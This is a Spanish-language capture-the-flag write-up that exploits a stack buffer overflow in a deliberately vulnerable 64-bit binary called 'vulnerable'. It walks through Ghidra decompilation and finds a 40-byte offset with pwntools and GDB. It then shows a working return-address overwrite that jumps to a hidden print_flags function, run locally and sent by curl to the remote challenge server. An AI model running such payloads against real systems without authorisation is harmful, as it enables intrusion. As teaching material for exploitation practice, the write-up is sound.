Hello World!
4 minutos de lectura
Se nos proporciona un binario de 64 bits llamado vulnerable
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
Si ejecutamos el binario, parece que no hace nada:
$ ./vulnerable
asdf
fdsa
1
2
Si insertamos datos desde la entrada estándar (stdin
), vemos que el programa funciona:
$ echo asdf | ./vulnerable
Hello asdf
!
Vamos a enviar 100 caracteres utilizando Python para ver si falla:
$ ./vulnerable <<< $(python3 -c 'print("A" * 100)')
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
!
zsh: segmentation fault (core dumped)
Perfecto, parece que el binario es vulnerable a Buffer Overflow.
Utilizando una herramienta de ingeniería inversa (reversing) como Ghidra, se puede descompilar el binario y obtener código en C legible. La función main
es la siguiente:
int main(void) {
char local_28[32];
memset(local_28, 0, 0x20);
read_all_stdin(local_28);
if (local_28[0] == '\0') {
puts("What is your name?");
} else {
printf("Hello %s!\n", local_28);
}
return 0;
}
Está llamando a read_all_stdin
:
void read_all_stdin(long param_1) {
int iVar1;
int local_c;
local_c = 0;
while (true) {
iVar1 = fgetc(stdin);
if (iVar1 == -1) break;
*(char *) (param_1 + local_c) = (char) iVar1;
local_c = local_c + 1;
}
return;
}
La vulnerabilidad está en que la variable llamada local_28
en la función main
tiene 32 bytes asignados de buffer. Sin embargo, la función read_all_stdin
está leyendo bytes hasta que los datos que hayamos introducido terminen (no hay limitación) y los añade a local_c
(que es local_28
del main
, aunque Ghidra no puede descompilarlo completamente).
Aunque no se llama en la función main
, en el binario existe una función llamada print_flags
:
void print_flags(void) {
char *__s;
__s = getenv("FLAGS");
puts(__s);
/* WARNING: Subroutine does not return */
exit(0);
}
Esta función evidentemente muestra la flag para completar el reto. Por tanto, el objetivo del exploit será ejecutar esta función.
Una vulnerabilidad de Buffer Overflow consiste en introducir suficientes datos para exceder del buffer asignado a una determinada variable (en este caso, local_28
). Después del buffer asignado a la variable, se encuentran un valor crítico para la ejecución del programa, que es la dirección de retorno (la cual se copia al registro $rip
al retornar de una función). El desbordamiento del buffer otorga control potencial sobre este registro.
Esta vez nos centraremos en controlar $rip
, que es el registro Instruction Pointer. Como su propio nombre indica, contiene la dirección de la siguiente instrucción a ejecutar. Por consiguiente, si sobrescribimos $rip
con la dirección de print_flags
, esta función se ejecutará.
La dirección de la función se puede ver en Ghidra (0x4006ee
). Aunque también se puede obtener mediante readelf
:
$ readelf -s vulnerable | grep print_flags
59: 00000000004006ee 34 FUNC GLOBAL DEFAULT 13 print_flags
Ahora necesitamos saber cuántos caracteres hay que introducir hasta controlar al registro $rip
, y poder poner la dirección de print_flags
. Esto se puede realizar mediante GDB y un patrón creado con cyclic
de pwntools
(por ejemplo, de 100 caracteres):
$ pwn cyclic 100 | tee pattern
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
$ gdb -q vulnerable
Reading symbols from vulnerable...
(No debugging symbols found in vulnerable)
gef➤ run < pattern
Starting program: ./vulnerable < pattern
Hello aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa!
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400771 in main ()
Ahora que el programa ha fallado, podemos examinar los valores de los registros. Como se trata de un binario de 64 bits, $rip
no se sobrescribe (se podría decir que está protegido), por lo que tenemos que tomar el valor de $rsp
(que es donde estaría guardada la dirección de retorno que se copiará en $rip
):
gef➤ x $rsp
0x7fffffffe758: 0x6161616b
El valor 0x6161616b
se corresponde con kaaa
(en formato little-endian). Podemos calcular el offset de nuevo con pwntools
:
$ pwn cyclic -l 0x6161616b
40
Por tanto, necesitamos introducir 40 caracteres y después la dirección de print_flags
para redirigir la ejecución del programa. Vamos a hacerlo desde la línea de comandos. Para evitar comportamientos inesperados, vamos a poner una variable de entorno llamada FLAGS
(ya que el binario la comprueba durante la función print_flags
):
$ export FLAGS=this_will_be_the_flag
$ (python3 -c 'import sys; sys.stdout.write("A" * 40)'; echo -e '\xee\x06\x40\0\0\0\0\0') | ./vulnerable
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@!
this_will_be_the_flag
Perfecto, ahora tenemos que enviar lo mismo a la instancia remota. Como los datos se toman desde un parámetro de URL, necesitamos codificar los caracteres hexadecimales a codificación URL:
$ curl "http://35.227.24.107/0f7bd59245/?stdin=$(python3 -c 'import sys; sys.stdout.write("A" * 40)')%ee%06%40%00%00%00%00%00"
<a href="vulnerable">Download binary</a><br><br>
<form>Stdin: <input type="text" name="stdin"> <input type="submit"></form>
<pre>Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@!
["^FLAG^xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx$FLAG$"]
</pre>